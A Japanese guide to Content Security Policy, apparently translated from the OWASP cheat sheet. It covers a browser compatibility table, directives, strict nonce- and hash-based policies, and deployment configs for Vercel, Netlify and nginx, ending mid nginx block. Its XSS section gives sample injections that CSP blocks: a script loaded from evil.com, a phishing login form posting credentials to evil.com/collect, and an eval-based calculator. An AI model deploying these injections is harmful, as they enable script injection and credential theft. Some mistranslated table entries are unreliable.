Content Security Policy (CSP)
この記事では、Webアプリケーションのクライアントサイドに多層防御の概念を統合する方法を提示します。サーバーからコンテンツセキュリティポリシー (CSP) ヘッダーを注入することで、ブラウザは、現在閲覧中のページにコンテンツを読み込む動的な呼び出しからユーザーを保護することを認識し、実行できるようになります。
目次 11項目
対応ブラウザ
| 機能 | デスクトップ | モバイル | ||||
|---|---|---|---|---|---|---|
| Chrome | Edge | Firefox | Safari | Chrome Android | Safari iOS | |
| 61 | 79 | 75 | 15.5 | 61 | 15.5 | |
csp 実験的 | 61 | 79 | | | 61 | |
| DOM API | ||||||
| securitypolicyviolation イベントは、コンテンツセキュリティポリシーに違反があった場合に発行されます。 | 76 | 79 | 93 | 15.4 | 76 | 15.4 |
| securitypolicyviolation イベントは、コンテンツセキュリティポリシーに違反したときに発生します。 | 41 | 15 | 63 | 10 | 41 | 10 |
| nonce は HTMLElement インターフェイスのプロパティで、特定の読み取りを続行できるかどうかを決定するためにコンテンツセキュリティポリシーで使用される一度だけの暗号化番号を返します。 | 61 | 79 | 75 | 15.4 | 61 | 15.4 |
csp 実験的 csp は HTMLIFrameElement インターフェイスのプロパティで、埋め込まれる文書が従い支配を受けるコンテンツセキュリティポリシーを返します。 | 61 | 79 | | | 61 | |
| SecurityPolicyViolationEvent インターフェイスは Event から継承し、コンテンツ セキュリティ ポリシー (CSP) が違反された場合に、Element/securitypolicyviolationevent、Document/securitypolicyviolationevent、または WorkerGlobalScope/securitypolicyviolation_event で送信される securitypolicyviolation イベントのイベント オブジェクトを表します。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスの BlockedURI 読み取り専用プロパティは、コンテンツ セキュリティ ポリシー (CSP) に違反するためにブロックされたリソースの URI を表す文字列です。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスの columnNumber 読み取り専用プロパティは、コンテンツ セキュリティ ポリシー (CSP) 違反が発生したドキュメントまたはワーカー スクリプトのソース ファイル行内の文字位置です。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスの性質読み取り専用プロパティは、違反したコンテンツ セキュリティ ポリシー (CSP) がユーザー エージェントによってどのように処理されるように構成されているかを示します。 | 56 | 79 | 63 | 15 | 56 | 15 |
| SecurityPolicyViolationEvent インターフェイスの documentURI 読み取り専用プロパティは、コンテンツ セキュリティ ポリシー (CSP) 違反が発生したドキュメントまたはワーカーの URI を表す文字列です。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスの activeDirective 読み取り専用プロパティは、違反されたコンテンツ セキュリティ ポリシー (CSP) ディレクティブを表す文字列です。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスの lineNumber 読み取り専用プロパティは、コンテンツ セキュリティ ポリシー (CSP) 違反が発生したドキュメントまたはワーカー スクリプト内の行番号です。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスのoriginalPolicy 読み取り専用プロパティは、適用によって違反が明らかになったコンテンツ セキュリティ ポリシー (CSP) を含む文字列です。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスのリファラー読み取り専用プロパティは、コンテンツ セキュリティ ポリシー (CSP) に違反したリソースのリファラーを表す文字列です。 これは URL または null になります。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスのサンプル読み取り専用プロパティは、コンテンツ セキュリティ ポリシー (CSP) 違反の原因となったリソースのサンプルを表す文字列です。 | 59 | 79 | 63 | 15 | 59 | 15 |
| SecurityPolicyViolationEvent() コンストラクターは、新しい SecurityPolicyViolationEvent オブジェクトを作成します。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスの sourceFile 読み取り専用プロパティは、コンテンツ セキュリティ ポリシー (CSP) 違反が発生したスクリプトの URL を表す文字列です。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスの statusCode 読み取り専用プロパティは、コンテンツ セキュリティ ポリシー (CSP) 違反が発生したウィンドウまたはワーカーの HTTP ステータス コードを表す数値です。 | 41 | 15 | 63 | 10 | 41 | 10 |
| SecurityPolicyViolationEvent インターフェイスのoracledDirective 読み取り専用プロパティは、違反されたコンテンツ セキュリティ ポリシー (CSP) ディレクティブを表す文字列です。 | 41 | 15 | 63 | 10 | 41 | 10 |
worker_support 労働者で利用可能 | 56 | 15 | 63 | | 56 | |
| securitypolicyviolation イベントは、ウェブワーカーの中でコンテンツセキュリティポリシーの違反が発生したときに発行されます。 | 41 | 15 | 63 | 10 | 41 | 10 |
| その他 | ||||||
html.elements.meta.http-equiv.content-security-policy http-equiv="コンテンツセキュリティポリシー" | ≤59 | 12 | 1 | ≤10.1 | ≤59 | ≤10.3 |
| HTTP の Content-Security-Policy レスポンスヘッダーは、ウェブサイト管理者が、あるページにユーザーエージェントが読み込みを許可されたリソースを管理できるようにします。いくつかの例外を除いて、大半のポリシーにはサーバーオリジンとスクリプトエンドポイントの指定を含んでいます。これはcross-site scripting攻撃を防ぐのに役立ちます。 | 25 | 14 | 23 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy-Report-Only response headerは、セキュリティポリシーを強制することなく、コンテンツセキュリティポリシー (CSP) 違反とその効果を監視するのに役立ちます。 このヘッダーを使用することで、特定の Content-Security-Policy が適用・強制される前に、違反を検査または修復することができます。 | 25 | 14 | 23 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy の base-uri ディレクティブは、文書の base 要素で使用することができる URL を制限します。この値が存在しない場合は、任意の URI が許可されます。このディレクティブが存在しない場合、ユーザーエージェントは base 要素の値を使用します。 | 40 | 79 | 35 | 10 | 40 | 9.3 |
| HTTP の Content-Security-Policy (CSP) における child-src ディレクティブは、ウェブワーカーと frame や iframe などの要素を使用して読み込んだ、埋め込まれた閲覧コンテキストに対して有効なソースを定義しています。ワーカーでは、準拠しないリクエストは、ユーザーエージェントによって致命的なネットワークエラーとして扱われます。 | 40 | 15 | 45 | 10 | 40 | 9.3 |
| HTTP の Content-Security-Policy (CSP) における connect-src ディレクティブは、スクリプトインターフェイスを使用して読み込むことができる URL を制限します。以下の API が制限の対象となります。 | 25 | 14 | 50 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy (CSP) における default-src ディレクティブは、他の CSP のfetch directiveの代替として提供します。以下のディレクティブがいずれかが存在しないと、ユーザーエージェントは default-src ディレクティブを探して、この値を使用します。 | 25 | 14 | 23 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy (CSP) における font-src ディレクティブは、 @font-face によって読み込まれるフォントの有効なソースを指定します。 | 25 | 14 | 23 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy (CSP) における form-action ディレクティブは、指定のコンテキストからフォームの送信先として使用される URL を制限します。 | 40 | 15 | 36 | 10 | 40 | 9.3 |
| HTTP の Content-Security-Policy (CSP) である frame-ancestors ディレクティブは frame、iframe、object 、embed などを使ってページを埋め込むことのできる親を指定します。 | 40 | 15 | 58 | 10 | 40 | 9.3 |
| HTTP の Content-Security-Policy (CSP) における frame-src ディレクティブは、 frame や iframe のような要素を使用して埋め込まれた閲覧コンテキストの読み込みに有効なソースを指定します。 | 25 | 14 | 23 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy における img-src ディレクティブは、画像やファビコンの有効なソースを指定します。 | 25 | 14 | 23 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy: manifest-src ディレクティブは、どのマニフェストがリソースに適用されるかを指定します。 | 40 | 79 | 41 | 11 | 40 | 11 |
| HTTP の Content-Security-Policy (CSP) における media-src ディレクティブは、 audio および video 要素を使用して読み込むメディアの有効なソースを指定します。 | 25 | 14 | 23 | 7 | 25 | 7 |
http.headers.Content-Security-Policy.meta-element-support <meta>`要素のサポート | 25 | ≤18 | 45 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy の object-src ディレクティブは、 object や embed 要素の有効なソースを指定します。 | 25 | 14 | 23 | 7 | 25 | 7 |
http.headers.Content-Security-Policy.report-sample ソース値 | 59 | 79 | 63 | 15.4 | 59 | 15.4 |
| Content-Security-Policy の report-to ディレクティブは、 CSP 違反の報告に使用するエンドポイントの名前を示します。 | 70 | 79 | 149 | 16.4 | 70 | 16.4 |
| HTTP の Content-Security-Policy (CSP) における sandbox ディレクティブは、 iframe の sandbox 属性と同様に、要求されたリソースに対してサンドボックスを有効にします。これは、ポップアップの防止、プラグインやスクリプトの実行の防止、同一オリジンポリシーの強制などを含むページ操作の制限を適用します。 | 25 | 14 | 50 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy (CSP) における script-src ディレクティブは、 JavaScript の情報なソースを指定します。これは script 要素の中に直接読み込まれる URL だけでなく、インラインのスクリプトイベントハンドラー (onclick) やスクリプト実行のトリガーとなりうる XSLT スタイルシートのようなものも含まれます。 | 25 | 14 | 23 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy (CSP) における script-src-attr ディレクティブは、JavaScript でインラインイベントハンドラーを指定する際に、有効なソースを指定します。 | 75 | 79 | 108 | 15.4 | 75 | 15.4 |
| HTTP の Content-Security-Policy (CSP) における script-src-elem ディレクティブは、 JavaScript の script 要素の有効なソースを指定します。 | 75 | 79 | 108 | 15.4 | 75 | 15.4 |
http.headers.Content-Security-Policy.script-src.external_scripts ハッシュ付き外部スクリプト | 59 | 79 | 116 | 15.6 | 59 | 15.6 |
http.headers.Content-Security-Policy.script-src.wasm-unsafe-eval WebAssemblyの実行を許可するソース式 | 97 | 97 | 102 | 16 | 97 | 16 |
http.headers.Content-Security-Policy.strict-dynamic strict-dynamic`ソース値 | 52 | 79 | 52 | 15.4 | 52 | 15.4 |
| HTTP の Content-Security-Policy (CSP) における style-src ディレクティブは、スタイルシートの有効なソースを指定します。 | 25 | 14 | 23 | 7 | 25 | 7 |
| HTTP の Content-Security-Policy (CSP) における style-src-attr ディレクティブは、個々の DOM 要素に適用されるインラインスタイルのための有効なソースを指定します。 | 75 | 79 | 108 | 15.4 | 75 | 15.4 |
| HTTP の Content-Security-Policy (CSP) における style-src-elem ディレクティブは、スタイルシート style 要素と rel="stylesheet" を持つ link 要素の有効なソースを指定します。 | 75 | 79 | 108 | 26.2 | 75 | 26.2 |
http.headers.Content-Security-Policy.unsafe-hashes unsafe-hashes`ソース値 | 69 | 79 | 109 | 15.4 | 69 | 15.4 |
http.headers.Content-Security-Policy.worker_support 労働者支援 | 56 | 79 | 50 | 10 | 56 | 10 |
| HTTP の Content-Security-Policy (CSP) における worker-src ディレクティブは、 Worker, SharedWorker, ServiceWorker スクリプトの有効なソースを指定します。 | 59 | 79 | 58 | 15.5 | 59 | 15.5 |
- このブラウザでは部分的にしか実装されていません
- このバージョンで機能が削除されました (75)
- Firefox はコンテンツ属性による `nonce` の流出を防止しない。
- このブラウザでは部分的にしか実装されていません
- このバージョンで機能が削除されました (15.5)
- Safariはコンテンツ属性による`nonce`の流出を防いでいない。
- このブラウザでは部分的にしか実装されていません
- このバージョンで機能が削除されました (15.5)
- iOSのSafariは、コンテンツ属性による`nonce`の流出を防いでいない。
- このブラウザでは部分的にしか実装されていません
- このバージョンで機能が削除されました (15.4)
- このプロパティは有用な要素に対してのみ定義される:その他の要素では未定義です。
- このブラウザでは部分的にしか実装されていません
- このバージョンで機能が削除されました (15.4)
- このプロパティは有用な要素に対してのみ定義される:その他の要素では未定義です。
- 以前は別名で対応していました: X-Webkit-CSP (14)
- 以前は別名で対応していました: X-Content-Security-Policy (4)
- 以前は別名で対応していました: X-Webkit-CSP (6)
- 以前は別名で対応していました: X-Webkit-CSP (18)
- 以前は別名で対応していました: X-Webkit-CSP (6)
- このブラウザでは部分的にしか実装されていません
- このバージョンで機能が削除されました (50)
- Firefox 50 以前では、<a> 要素の ping 属性は connect-src の対象外でした。
- このブラウザでは部分的にしか実装されていません
- このバージョンで機能が削除されました (58)
- Firefox 58 より前のバージョンでは、`Content-Security-Policy-Report-Only` では `frame-ancestors` は無視されます。
- このブラウザでは部分的にしか実装されていません
- このバージョンで機能が削除されました (26.2)
- style-src-elem` ディレクティブは解析されたが、何の効果もなかった。バグ 276931 を参照のこと。
- このブラウザでは部分的にしか実装されていません
- このバージョンで機能が削除されました (26.2)
- style-src-elem` ディレクティブは解析されたが、何の効果もなかった。バグ 276931 を参照のこと。
- Chrome 59 以降では、非推奨の `child-src` ディレクティブをスキップします。
- Chrome Android 59 以降は、非推奨の `child-src` ディレクティブをスキップします。
はじめに
この記事では、Webアプリケーションのクライアントサイドに多層防御の概念を統合する方法を提示します。サーバーからコンテンツセキュリティポリシー (CSP) ヘッダーを注入することで、ブラウザは、現在閲覧中のページにコンテンツを読み込む動的な呼び出しからユーザーを保護することを認識し、実行できるようになります。
脅威 コンテキスト
クロスサイトスクリプティング (XSS)、クリックジャッキング、およびクロスサイトリークの脆弱性の増加は、より__多層防御__のセキュリティアプローチを要求します。
XSSに対する防御
CSPは以下の方法でXSS攻撃から防御します。
1. インラインスクリプトの制限
ページがインラインスクリプトを実行するのを防ぐことで、以下のような注入攻撃は機能しません。
<script>document.body.innerHTML='defaced'</script>
2. リモートスクリプトの制限
ページが任意のサーバーからスクリプトを読み込むのを防ぐことで、以下のような注入攻撃は機能しません。
<script src="https://evil.com/hacked.js"></script>
3. 安全でないJavaScriptの制限
ページがevalのようなテキストからJavaScriptへの関数を実行するのを防ぐことで、ウェブサイトは以下のような脆弱性から安全になります。
// A Simple Calculator
var op1 = getUrlParameter("op1");
var op2 = getUrlParameter("op2");
var sum = eval(`${op1} + ${op2}`);
console.log(`The sum is: ${sum}`);
4. フォーム送信の制限
ウェブサイト上のHTMLフォームがデータを送信できる場所を制限することで、フィッシングフォームの注入も機能しません。
<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username"/>
<label>Password</label>
<input type="password" name="pass"/>
<input type="Submit" value="Login"/>
</form>
5. オブジェクトの制限
そして、HTMLのobjectタグを制限することで、攻撃者が悪意のあるFlash/Java/その他のレガシーな実行ファイルをページに注入することも不可能になります。
フレーミング攻撃に対する防御
クリックジャッキングやブラウザのサイドチャネル攻撃 (xs-leaks) の一部のバリアントのような攻撃は、悪意のあるウェブサイトがターゲットのウェブサイトをフレーム内に読み込むことを要求します。
歴史的にX-Frame-Optionsヘッダーがこれに使用されてきましたが、frame-ancestors CSPディレクティブによって廃止されました。
多層防御
強力なCSPは、さまざまな種類の脆弱性、特にXSSに対して効果的な__第二の層__の保護を提供します。CSPはウェブアプリケーションが脆弱性を含むことを防ぐわけではありませんが、攻撃者がそれらの脆弱性を悪用するのを著しく困難にすることができます。
ユーザー入力を一切受け付けない完全な静的ウェブサイトであっても、CSPを使用してサブソース完全性 (SRI)の使用を強制することができます。これにより、JavaScriptファイルをホストしているサードパーティサイト(アナリティクススクリプトなど)のいずれかが侵害された場合に、悪意のあるコードがウェブサイトに読み込まれるのを防ぐことができます。
とはいえ、CSPはXSSに対する唯一の防御メカニズムとして__依存すべきではありません__。クロスサイトスクリプティング防止チートシートに記載されているような優れた開発プラクティスに引き続き従い、その上にCSPをボーナスセキュリティ層として展開する必要があります。
実装 ポリシー配信
コンテンツセキュリティポリシーをウェブサイトに提供する方法は3つあります。
1. Content-Security-Policy ヘッダー
ウェブサーバーから Content-Security-Policy HTTPレスポンスヘッダーを送信します。
Content-Security-Policy: ...
ヘッダーを使用するのが推奨される方法であり、CSPの全機能セットをサポートします。インデックスページだけでなく、すべてのHTTPレスポンスで送信してください。
これはW3C仕様の標準ヘッダーです。Firefox 23+、Chrome 25+、Opera 19+でサポートされています。
2. Content-Security-Policy-Report-Only ヘッダー
Content-Security-Policy-Report-Only を使用すると、適用されないCSPを提供できます。
Content-Security-Policy-Report-Only: ...
それでも、report-to および report-uri ディレクティブが使用されている場合、違反レポートはコンソールに表示され、違反エンドポイントに送信されます。
これもW3C仕様の標準ヘッダーです。Firefox 23+、Chrome 25+、Opera 19+でサポートされており、ポリシーは非ブロッキング("fail open")であり、report-uri(またはより新しい report-to)ディレクティブで指定されたURLにレポートが送信されます。これは、ブロッキングモード("fail closed")でCSPを利用する前段階としてよく使用されます。
ブラウザは、サイトが Content-Security-Policy と Content-Security-Policy-Report-Only の両方を問題なく同時に使用する機能を完全にサポートしています。このパターンは、例えば、厳格な Report-Only ポリシーを実行して(多くの違反レポートを取得し)、同時に緩い適用ポリシーを設定する(正当なサイト機能の破損を避けるため)ために使用できます。
3. Content-Security-Policy メタタグ
例えば、ヘッダーが制御できないCDNにHTMLファイルをデプロイしている場合など、Content-Security-Policy ヘッダーを使用できないことがあります。
この場合でも、HTMLマークアップで http-equiv メタタグを指定することでCSPを使用できます。例は以下の通りです。
<meta http-equiv="Content-Security-Policy" content="...">
完全なクロスサイトスクリプティング (XSS) 防御を含め、ほとんどすべての機能が引き続きサポートされます。ただし、フレーミング保護、サンドボックス化、またはCSP違反ログエンドポイントは使用できません。
⚠️ 警告
X-Content-Security-PolicyまたはX-WebKit-CSPを__使用しないでください__。これらの実装は廃止されており(Firefox 23、Chrome 25以降)、機能が制限され、一貫性がなく、信じられないほどバグが多いです。
ベストプラクティス CSPの種類(粒度の細かい許可リストベース、または厳格)
CSPを構築するための元のメカニズムは、HTMLページのコンテキストで許可されるコンテンツとソースを定義する許可リストを作成することを含んでいました。
しかし、現在の主要なプラクティスは、デプロイがはるかに簡単で、バイパスされる可能性が低いためより安全な「厳格な」CSPを作成することです。
ベストプラクティス 厳格なCSP
厳格なCSPは、以下のフェッチディレクティブの限られた数と、以下の2つのメカニズムのいずれかを使用して作成できます。
- Nonceベース
- ハッシュベース
strict-dynamic ディレクティブは、厳格なCSPの実装を容易にするために、オプションで利用することもできます。
以下のセクションでは、これらのメカニズムに関する基本的なガイダンスを提供しますが、厳格なCSPを作成するためのGoogleの詳細かつ体系的な指示に従うことを強くお勧めします。
厳格なコンテンツセキュリティポリシー (CSP) でクロスサイトスクリプティング (XSS) を軽減する
Nonceベース
nonceは、HTTPレスポンスごとに生成し、Content-Security-Policyヘッダーに追加する、一回限りのユニークなランダム値です。例は以下の通りです。
const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;
次に、このnonceをビューに渡し(nonceの使用には非静的なHTMLが必要です)、次のようなスクリプトタグをレンダリングします。
<script nonce="<%= nonce %>">
...
</script>
⚠️ 警告
"script nonce=..." ですべてのスクリプトタグを置き換えるミドルウェアを作成__しないでください__。攻撃者が挿入したスクリプトもnonceを取得してしまうためです。nonceを使用するには、実際のHTMLテンプレートエンジンが必要です。
ハッシュ
インラインスクリプトが必要な場合、script-src 'hash_algo-hash' は、特定のスクリプトのみの実行を許可するための別のオプションです。
Content-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='
ハッシュを取得するには、Google Chromeの開発者ツールで次のような違反を探してください。
❌ インラインスクリプトの実行が拒否されました。以下のコンテンツセキュリティポリシーディレクティブに違反しているためです: "..." 'unsafe-inline' キーワード、ハッシュ ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg=')、またはnonceのいずれかが必要です...
このハッシュジェネレーターも利用できます。これはハッシュの使用に関する素晴らしい例です。
⚠️ 注
ハッシュの使用はリスクを伴うアプローチとなる可能性があります。例えば、コードをフォーマットするなどして、スクリプトタグ内の何か(空白でさえも)を変更すると、ハッシュが異なり、スクリプトはレンダリングされません。
strict-dynamic
strict-dynamic ディレクティブは、ハッシュまたはnonceのいずれかと組み合わせて、厳格なCSPの一部として使用できます。
正しいハッシュまたはnonceを持つスクリプトブロックが追加のDOM要素を作成し、その内部でJSを実行している場合、strict-dynamic は、それらの要素それぞれに明示的にnonceやハッシュを追加することなく、ブラウザにそれらの要素も信頼するよう指示します。
strict-dynamic はCSPレベル3の機能ですが、CSPレベル3は一般的なモダンブラウザで非常に広くサポートされていることに注意してください。
詳細については、strict-dynamic の使用法を参照してください。
詳細なコンテンツセキュリティポリシーディレクティブ
複数の種類のディレクティブが存在し、開発者はポリシーの流れを細かく制御できます。細かすぎる、または許容しすぎる厳格でないポリシーを作成すると、回避策につながり、保護が失われる可能性が高いことに注意してください。
フェッチディレクティブ
フェッチディレクティブは、ブラウザに信頼してリソースを読み込む場所を指示します。
ほとんどのフェッチディレクティブには、w3で指定された特定のフォールバックリストがあります。このリストにより、スクリプト、画像、ファイルなどのソースを細かく制御できます。
child-srcは、開発者がネストされたブラウジングコンテキストとワーカー実行コンテキストを制御できるようにします。connect-srcは、フェッチリクエスト、XHR、イベントソース、ビーコン、WebSocket接続を制御します。font-srcは、フォントを読み込むURLを指定します。img-srcは、画像を読み込むことができるURLを指定します。manifest-srcは、アプリケーションマニフェストを読み込むことができるURLを指定します。media-srcは、ビデオ、オーディオ、テキストトラックリソースを読み込むことができるURLを指定します。prefetch-srcは、リソースをプリフェッチできるURLを指定します。object-srcは、プラグインを読み込むことができるURLを指定します。script-srcは、スクリプトを実行できる場所を指定します。これは、他のスクリプトに似たディレクティブのフォールバックディレクティブです。script-src-elemは、スクリプトリクエストとブロックの実行が発生できる場所を制御します。script-src-attrは、イベントハンドラの実行を制御します。
style-srcは、スタイルがドキュメントに適用される場所を制御します。これには、<link>要素、@importルール、およびLinkHTTPレスポンスヘッダーフィールドから発生するリクエストが含まれます。style-src-elemは、インライン属性を除くスタイルを制御します。style-src-attrは、スタイル属性を制御します。
default-srcは、他のフェッチディレクティブのフォールバックディレクティブです。指定されたディレクティブは継承されませんが、指定されていないディレクティブはdefault-srcの値にフォールバックします。
ドキュメントディレクティブ
ドキュメントディレクティブは、ポリシーが適用されるドキュメントのプロパティについてブラウザに指示します。
base-uriは、<base>要素が使用できる可能性のあるURLを指定します。plugin-typesは、ドキュメントに読み込むことができるリソースの種類を制限します (例application/pdf)。影響を受ける要素である<embed>と<object>には3つのルールが適用されます。- 要素は明示的にその型を宣言する必要がある。
- 要素の型は宣言された型と一致する必要がある。
- 要素のリソースは宣言された型と一致する必要がある。
sandboxは、フォームの送信など、ページの動作を制限します。- リクエストヘッダー
Content-Security-Policyとともに使用された場合にのみ適用されます。 - ディレクティブの値を指定しないと、すべてのサンドボックス制限が有効になります。
Content-Security-Policy: sandbox; - サンドボックス構文
- リクエストヘッダー
ナビゲーションディレクティブ
ナビゲーションディレクティブは、ドキュメントがナビゲートできる、または埋め込むことができる場所についてブラウザに指示します。
form-actionは、フォームが送信できるURLを制限します。frame-ancestorsは、<frame>、<iframe>、<object>、<embed>、または<applet>要素内に要求されたリソースを埋め込むことができるURLを制限します。- このディレクティブが
<meta>タグで指定されている場合、ディレクティブは無視されます。 - このディレクティブは
default-srcディレクティブにフォールバックしません。 X-Frame-Optionsはこのディレクティブによって廃止され、ユーザーエージェントによって無視されます。
- このディレクティブが
レポーティングディレクティブ
レポーティングディレクティブは、防止された動作の違反を指定された場所に報告します。これらのディレクティブはそれ自体では目的を果たさず、他のディレクティブに依存します。
report-toは、JSON形式のヘッダー値でヘッダーに定義されたグループ名です。report-uriディレクティブはreport-toによって非推奨になり、レポートが送信されるURIです。- 形式は次のとおりです:
Content-Security-Policy: report-uri https://example.com/csp-reports
- 形式は次のとおりです:
後方互換性を確保するために、2つのディレクティブを組み合わせて使用してください。ブラウザが report-to をサポートしている場合は report-uri を無視します。そうでない場合は report-uri が使用されます。
特殊なディレクティブソース
| Value | Description |
|---|---|
| 'none' | 一致するURLはありません。 |
| 'self' | 同じスキームとポート番号を持つオリジンサイトを参照します。 |
| 'unsafe-inline' | インラインスクリプトまたはスタイルの使用を許可します。 |
| 'unsafe-eval' | スクリプトでの eval の使用を許可します。 |
ディレクティブソースがどのように機能するかをよりよく理解するために、w3cのソースリスト を確認してください。
CSP サンプルポリシー
厳格なポリシー
厳格なポリシーの役割は、従来の保存型、反射型、および一部のDOMクロスサイトスクリプティング (XSS) 攻撃から保護することであり、コンテンツセキュリティポリシー (CSP) の実装を試みるあらゆるチームの最適な目標となるべきです。
上記の通り、Googleは厳格なコンテンツセキュリティポリシー (CSP) を作成するための詳細かつ体系的な手順を公開しました。
これらの手順に基づき、厳格なポリシーを適用するために以下の2つのポリシーのいずれかを使用できます。
nonceベースの厳格なポリシー
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
ハッシュベースの厳格なポリシー
Content-Security-Policy:
script-src 'sha256-{HASHED_INLINE_SCRIPT}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
基本的な非厳格なコンテンツセキュリティポリシー (CSP)
このポリシーは、厳格なポリシーの作成が不可能な場合に使用でき、クロスサイトフレーミングとクロスサイトフォーム送信を防ぎます。すべてのデフォルトレベルのディレクティブに対して、オリジンとなるドメインからのリソースのみを許可し、インラインスクリプトやインラインスタイルシートの実行は許可しません。
アプリケーションがこれらの制限の下で機能する場合、攻撃対象領域を大幅に削減し、ほとんどのモダンブラウザで動作します。
最も基本的なポリシーは以下を前提とします。
- すべてのリソースはドキュメントと同じドメインによってホストされている。
- スクリプトおよびスタイルリソースにインラインまたは eval はない。
- 他のウェブサイトがこのウェブサイトをフレームする必要はない。
- 外部ウェブサイトへのフォーム送信はない。
Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';
さらに厳格にするには、以下を適用できます。
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';
このポリシーは、同一オリジンからの画像、スクリプト、AJAX、およびCSSを許可し、その他のリソース(例:object、frame、mediaなど)の読み込みは許可しません。
安全でないリクエストのアップグレード
開発者がHTTPからHTTPSへ移行している場合、以下のディレクティブは、すべてのリクエストがHTTPS経由で送信され、HTTPへのフォールバックがないことを保証します。
Content-Security-Policy: upgrade-insecure-requests;
フレーミング攻撃 (クリックジャッキング、クロスサイトリーク) の防止
- コンテンツのすべてのフレーミングを防ぐには、以下を使用します。
Content-Security-Policy: frame-ancestors 'none';
- サイト自体を許可するには、以下を使用します。
Content-Security-Policy: frame-ancestors 'self';
- 信頼できるドメインを許可するには、以下を行います。
Content-Security-Policy: frame-ancestors trusted.com;
インラインコードのリファクタリング
default-src または script-src* ディレクティブがアクティブな場合、コンテンツセキュリティポリシー (CSP) はデフォルトで、以下のようなHTMLソースにインラインで配置されたJavaScriptコードを無効にします。
<script>
var foo = "314"
<script>
インラインコードは別のJavaScriptファイルに移動でき、ページ内のコードは以下のようになります。
<script src="app.js">
</script>
app.js には var foo = "314" のコードが含まれます。
インラインコードの制限は inline event handlers にも適用されるため、以下の構造はコンテンツセキュリティポリシー (CSP) の下でブロックされます。
<button id="button1" onclick="doSomething()">
これは addEventListener 呼び出しに置き換える必要があります。
document.getElementById("button1").addEventListener('click', doSomething);
実装パターン
CSP はフロントエンドのビルドツールではなく、HTTP レスポンスヘッダーを送出するホスティング層で設定します。以下はデプロイ先ごとの具体的な設定例です。コードをそのままコピーして始められます。
Vercel
アプローチ: vercel.json の headers で全パスに CSP を送出
{
"headers": [
{
"source": "/(.*)",
"headers": [
{
"key": "Content-Security-Policy",
"value": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'"
}
]
}
]
}
配置場所
プロジェクトルートに vercel.json を配置すると、デプロイ時に Vercel Edge Network が全レスポンスにこのヘッダーを付与します。
source パターン
"source": "/(.*)" は全パスにマッチ。特定のパスだけに適用したい場合は "source": "/api/(.*)" のように正規表現で絞れます。
落とし穴
- Next.js を使う場合は
next.config.jsのheaders()が優先される ので、両方で設定すると混乱の元。どちらか一方に統一すること - Vercel Edge Functions / Middleware を使う場合は、そちら側で設定した CSP が優先されるケースあり
- 本番確認:
vercel deploy --prebuilt等でデプロイ後、DevTools の Network タブでレスポンスヘッダーを実際に確認すること
Netlify / Cloudflare Pages
アプローチ: _headers ファイルでパスごとにヘッダーを宣言 (両プラットフォーム共通形式)
# Netlify / Cloudflare Pages 共通形式
# プロジェクトルート (or publish ディレクトリ) に `_headers` として配置
# ワイルドカードで全パスに CSP ヘッダーを適用
/*
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'
配置場所
Netlify: public/ (or publish ディレクトリ) の直下に _headers として配置。ビルド出力に含まれる必要があります。Vite の場合は public/_headers でOK。
Cloudflare Pages: 同じく _headers ファイル。公式が Netlify 互換形式をサポートしています。
記法
/*は全パスにマッチ- インデント 2 スペースで各ヘッダーを列挙
- パスパターンごとに複数のブロックを書ける
落とし穴
public/に置き忘れやすい — プロジェクトルートに置いてもビルド出力に含まれない- Netlify UI 側の設定と競合: サイト設定の「Headers」と
_headersファイルを併用すると挙動が読みにくい。一箇所に統一推奨 - デプロイ後確認:
netlify deploy --prodの後、必ずブラウザでレスポンスヘッダーを確認
nginx (自前サーバー)
アプローチ: server ブロック内の add_header ディレクティブで CSP を送出
# nginx.conf server ブロックの抜粋
# 静的ビルド成果物 (Vite, Next export, etc.) を配信する想定
server {
listen 80;
server_name example.com;
root /var/www/my-spa/dist;
# ── Content Security Policy ─────────────────────────
# `always` をつけると 4xx/5xx レスポンスにもヘッダーが付与される
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'" always;
